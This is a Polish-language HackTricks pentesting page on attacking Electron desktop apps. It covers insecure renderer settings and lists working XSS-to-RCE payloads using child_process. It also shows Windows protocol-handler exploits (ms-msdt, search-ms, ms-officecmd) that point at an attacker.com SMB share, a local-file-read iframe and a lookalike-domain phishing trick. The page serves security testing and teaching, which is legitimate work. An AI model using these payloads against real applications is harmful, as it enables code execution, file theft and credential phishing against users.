hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-09-19 16:41:49 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:15:55 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-19 16:41:49 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:50:16 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:30 +00:00

Electron Desktop Apps

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Wprowadzenie

Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.

Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji .asar, aby uzyskać kod, musisz go wyodrębnić:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

W kodzie źródłowym aplikacji Electron, w pliku packet.json, można znaleźć określony plik main.js, w którym ustawione są konfiguracje zabezpieczeń.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ma 2 typy procesów:

  • Proces główny (ma pełny dostęp do NodeJS)
  • Proces renderera (powinien mieć ograniczony dostęp do NodeJS z powodów bezpieczeństwa)

Proces renderera będzie oknem przeglądarki ładującym plik:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Ustawienia procesu renderera mogą być konfigurowane w procesie głównym w pliku main.js. Niektóre z konfiguracji zapobiegną uzyskaniu RCE lub innych luk w zabezpieczeniach, jeśli ustawienia są poprawnie skonfigurowane.

Aplikacja electron może uzyskać dostęp do urządzenia za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:

  • nodeIntegration - jest wyłączone domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera.
  • contextIsolation - jest włączone domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane.
  • preload - domyślnie puste.
  • sandbox - jest wyłączone domyślnie. Ograniczy działania, które NodeJS może wykonać.
  • Integracja Node w Workerach
  • nodeIntegrationInSubframes - jest wyłączone domyślnie.
  • Jeśli nodeIntegration jest włączone, umożliwi to korzystanie z interfejsów API Node.js w stronach internetowych, które są ładowane w iframe w aplikacji Electron.
  • Jeśli nodeIntegration jest wyłączone, wówczas preloady będą ładowane w iframe.

Przykład konfiguracji:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Niektóre RCE payloads z tutaj:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture traffic

Zmień konfigurację start-main i dodaj użycie proxy, takiego jak:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Wstrzykiwanie kodu lokalnego w Electron

Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod JavaScript. Sprawdź jak w:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Jeśli nodeIntegration jest ustawione na włączone, JavaScript na stronie internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując require(). Na przykład, sposób uruchomienia aplikacji kalkulatora w systemie Windows to:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skrypt wskazany w tym ustawieniu jest ładowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Dlatego skrypt może eksportować node-features do stron:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Jeśli contextIsolation jest włączony, to nie zadziała {% endhint %}

RCE: XSS + contextIsolation

contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electron, aby wykonanie JavaScript w każdym kodzie nie wpływało na siebie nawzajem. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.

Jeśli konteksty nie są izolowane, atakujący może:

  1. Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)
  2. Nadpisać wbudowaną metodę, która jest używana w preload lub wewnętrznym kodzie Electron na własną funkcję
  3. Wywołać użycie nadpisanej funkcji
  4. RCE?

Są 2 miejsca, w których wbudowane metody mogą być nadpisane: w kodzie preload lub w wewnętrznym kodzie Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Ominięcie zdarzenia kliknięcia

Jeśli na kliknięcie linku nałożone są ograniczenia, możesz być w stanie je obejść wykonując kliknięcie środkowe zamiast zwykłego lewego kliknięcia.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 oraz https://benjamin-altpeter.de/shell-openexternal-dangers/

Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla nodeIntegration i contextIsolation jest kluczowe. Ustalono, że wykonywanie zdalnego kodu po stronie klienta (RCE), które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach.

Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Te nasłuchiwacze są nadpisywane przez aplikację desktopową, aby wdrożyć własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana przez funkcję openInternally. Jeśli ta funkcja zwraca false, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję shell.openExternal.

Oto uproszczony pseudokod:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnej zawartości za pomocą funkcji openExternal, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do tego zasobu, który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.

Przykłady exploitów protokołów Windows obejmują:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Odczytywanie plików wewnętrznych: XSS + contextIsolation

Wyłączenie contextIsolation umożliwia użycie tagów <webview>, podobnie jak <iframe>, do odczytu i eksfiltracji lokalnych plików. Przykład pokazany ilustruje, jak wykorzystać tę lukę, aby odczytać zawartość plików wewnętrznych:

Ponadto, udostępniona jest inna metoda odczytu pliku wewnętrznego, podkreślająca krytyczną lukę w odczycie lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Stary Chromium

Jeśli chromium używane przez aplikację jest stare i istnieją znane luki w nim, może być możliwe wykorzystanie tego i uzyskanie RCE przez XSS.
Możesz zobaczyć przykład w tym writeupie: https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS za pomocą obejścia regex URL wewnętrznego

Zakładając, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść plików wewnętrznych, możesz spróbować wykorzystać to do kradzieży poświadczeń za pomocą phishingu.

Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Wywołanie openInternally zdecyduje, czy link zostanie otwarty w oknie desktopowym, ponieważ jest to link należący do platformy, czy zostanie otwarty w przeglądarce jako zasób zewnętrzny.

W przypadku, gdy regex użyty przez funkcję jest vulnerable to bypasses (na przykład przez nieescapowanie kropek subdomen) atakujący mógłby wykorzystać XSS do otwarcia nowego okna, które będzie znajdować się w infrastrukturze atakującego prosząc o dane logowania od użytkownika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Narzędzia

  • Electronegativity to narzędzie do identyfikacji błędów konfiguracyjnych i wzorców antybezpieczeństwa w aplikacjach opartych na Electronie.
  • Electrolint to otwarty plugin VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
  • nodejsscan do sprawdzania podatnych bibliotek stron trzecich.
  • Electro.ng: Musisz to kupić.

Laboratoria

W https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s znajdziesz laboratorium do eksploatacji podatnych aplikacji Electron.

Niektóre polecenia, które pomogą Ci w laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}